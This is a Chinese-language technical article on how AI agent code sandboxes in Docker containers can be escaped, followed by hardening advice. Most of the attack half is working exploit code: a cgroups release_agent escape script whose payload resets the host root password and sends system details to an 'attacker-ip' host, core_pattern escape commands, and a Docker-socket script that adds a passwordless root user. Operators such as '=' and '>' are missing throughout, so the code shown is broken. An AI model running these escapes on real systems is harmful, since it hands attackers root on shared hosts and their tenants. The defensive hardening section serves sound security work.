ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

Agent 沙箱逃逸实验(二):Docker 容器特权模式与挂载逃逸风险

Agent 沙箱逃逸实验(二):Docker 容器特权模式与挂载逃逸风险 Agent 沙箱逃逸实验二Docker 容器特权模式与挂载逃逸风险在自动化代码生成与自主 Agent如 AutoGPT、Devin-like 智能体、自动化渗透测试 Agent的落地架构中后端通常会分配一个即时容器作为代码执行沙箱。然而大量开发团队为了图省事或解决环境依赖问题给沙箱容器赋予了过高权限如--privileged或挂载了宿主机关键路径。一旦 Agent 被 Prompt Injection 或恶意代码投毒攻击者便可通过容器逃逸直接接管底层宿主机导致多租户环境全面沦陷。AI Agent 代码沙箱的容器安全现状自主 Agent 的核心特征是具备“代码生成并执行”的闭环能力。用户指令经过 LLM 处理后生成的 Python 脚本、Bash 指令或系统编译命令被发送至沙箱中执行。在实际架构审计中常见的危险容器配置包括滥用--privileged运行沙箱为了让 Agent 能够运行 Docker-in-DockerDinD、加载内核模块或调试网络直接赋予容器特权模式。危险卷挂载Volume Mounts将宿主机的/var/run/docker.sock挂载进容器以实现动态子容器调度或者挂载了宿主机的/、/proc、/sys、/etc等敏感目录。未限制 Linux Capabilities容器默认保留了CAP_SYS_ADMIN、CAP_SYS_PTRACE、CAP_DAC_READ_SEARCH等高危能力。逃逸深度剖析cgroups release_agent 与 procfs 攻击链1. 利用 cgroups release_agent 实现特权逃逸当容器以--privileged运行时容器内部拥有完整的内核能力Capabilities以及对宿主机设备节点的访问权限AppArmor 与 seccomp 限制也会被默认禁用。此时利用 Linux 内核 cgroups 的release_agent回调机制即可实现无缝逃逸。release_agent是 cgroups v1 中的一项特性当某个 cgroup 中的最后一个进程退出时内核会以宿主机最高权限root执行release_agent文件中指定的宿主机绝对路径脚本。逃逸攻击脚本实现如下#!/bin/bash # 特权容器内利用 cgroups release_agent 逃逸 PoC set -e # 1. 创建临时 cgroup 挂载点 mkdir -p /tmp/cgroup_mount mount -t cgroup -o rdma cgroup /tmp/cgroup_mount || mount -t cgroup -o memory cgroup /tmp/cgroup_mount # 2. 创建子 cgroup mkdir -p /tmp/cgroup_mount/x echo 1 /tmp/cgroup_mount/x/notify_on_release # 3. 获取当前容器在宿主机上的绝对路径 # 通过 /etc/hosts 或 /proc/mounts 提取容器的 UpperDir / MergedDir 路径 HOST_PATH$(sed -n s/.*\perdir\([^,]*\).*/\1/p /etc/mtab | head -n 1) if [ -z $HOST_PATH ]; then # 若无法直接解析 overlayfs可通过查找宿主机 proc 结构推断 HOST_PATH/var/lib/docker/overlay2/$(cat /etc/hostname)/merged fi # 4. 在容器内写入需要在宿主机上以 root 执行的恶意 Payload cat EOF /tmp/exploit.sh #!/bin/sh # 宿主机上执行反弹 Shell 或写入持久化后门 id /tmp/pwned_by_agent.txt echo root:pwned_pass123 | chpasswd curl http://attacker-ip:8080/pwned?info$(uname -a | base64) EOF chmod x /tmp/exploit.sh # 5. 将 payload 在宿主机上的实际路径写入 release_agent echo $HOST_PATH/tmp/exploit.sh /tmp/cgroup_mount/release_agent # 6. 向子 cgroup 写入短生命周期进程并触发退出 sh -c echo \$$ /tmp/cgroup_mount/x/cgroup.procs echo [] Exploit triggered. Check /tmp/pwned_by_agent.txt on host.2. 挂载/proc或/sys导致的内核接口滥用如果沙箱容器挂载了宿主机的/proc如-v /proc:/host/proc攻击者可以直接通过修改宿主机内核参数完成逃逸利用core_pattern向/host/proc/sys/kernel/core_pattern写入管道命令|/tmp/payload.sh。随后在容器内故意触发一个崩溃信号如kill -SIGSEGV $$内核在生成 core dump 时将以宿主机 root 身份执行/tmp/payload.sh。利用/proc/sysrq-trigger可直接造成宿主机宕机或内存转储。# 修改宿主机的 core_pattern 进行逃逸 echo |$HOST_PATH/tmp/shell.sh /host/proc/sys/kernel/core_pattern # 触发段错误 sleep 1 kill -SEGV $$宿主机文件系统挂载与 Docker Socket 穿透部分 AI 框架为了支持沙箱编排将宿主机的/var/run/docker.sock挂载到 Agent 容器内。------------------------------------ | Agent Container | | (Mounts: /var/run/docker.sock) | ------------------------------------ | | UNIX Socket API Request v ------------------------------------ | Host Docker Daemon (dockerd) | ------------------------------------ | | Spawn new root container v ------------------------------------ | Root Shell Container (Mounts /) | ------------------------------------攻击者在沙箱中仅需调用 Docker CLI 或直接向 Socket 发送 HTTP REST API 请求即可在宿主机上拉起一个挂载根目录的新容器import socket import json def escape_via_docker_socket(): s socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) s.connect(/var/run/docker.sock) # 1. 创建挂载宿主机根目录的新容器 create_payload { Image: alpine:latest, Cmd: [/bin/sh, -c, echo pwned::0:0:root:/root:/bin/sh /host/etc/passwd], Binds: [/:/host] } body json.dumps(create_payload) request ( fPOST /v1.41/containers/create HTTP/1.1\r\n fHost: localhost\r\n fContent-Type: application/json\r\n fContent-Length: {len(body)}\r\n\r\n f{body} ) s.sendall(request.encode()) response s.recv(4096).decode() container_id json.loads(response.split(\r\n\r\n)[1])[Id] # 2. 启动容器执行命令 start_request fPOST /v1.41/containers/{container_id}/start HTTP/1.1\r\nHost: localhost\r\n\r\n s.sendall(start_request.encode()) print(f[] Successfully escalated to host root via container {container_id}) if __name__ __main__: escape_via_docker_socket()生产级沙箱加固微虚机、轻内核与权限裁剪构建真正安全的多租户 Agent 代码执行沙箱必须放弃粗暴的 Docker 特权模式采用以下多层防御矩阵1. 采用微虚拟机MicroVM与独立内核隔离弃用共享宿主机内核的标准 runc 容器全面迁移至具备硬件虚拟化隔离或独立应用内核的沙箱运行时gVisorrunsc在用户态拦截并实现所有 Linux 系统调用阻止攻击者直达宿主机内核。Kata Containers / Firecracker基于 KVM 硬件虚拟化为每个沙箱分配专有精简内核与内存空间实现虚机级隔离与毫秒级冷启动。2. 最小化权限与 Capabilities 裁剪在 Docker Compose 或 K8s PodSpec 中显式剥离所有高危能力apiVersion: v1 kind: Pod metadata: name: agent-safe-sandbox spec: runtimeClassName: gvisor # 使用 gVisor 运行时 containers: - name: code-executor image: python:3.11-slim securityContext: allowPrivilegeEscalation: false readOnlyRootFilesystem: true runAsNonRoot: true runAsUser: 10001 capabilities: drop: - ALL # 彻底丢弃所有 Linux Capabilities resources: limits: cpu: 1 memory: 512Mi pids: 100 # 限制进程数防止 Fork 炸弹 volumeMounts: - name: tmp-workspace mountPath: /tmp readOnly: false volumes: - name: tmp-workspace emptyDir: medium: Memory sizeLimit: 128Mi3. 网络隔离与出方向严格阻断通过 Cilium 或 iptables 限制沙箱容器的默认出网权限禁止其访问内网元数据服务如169.254.169.254和敏感内网网段阻断横向移动路径。
返回列表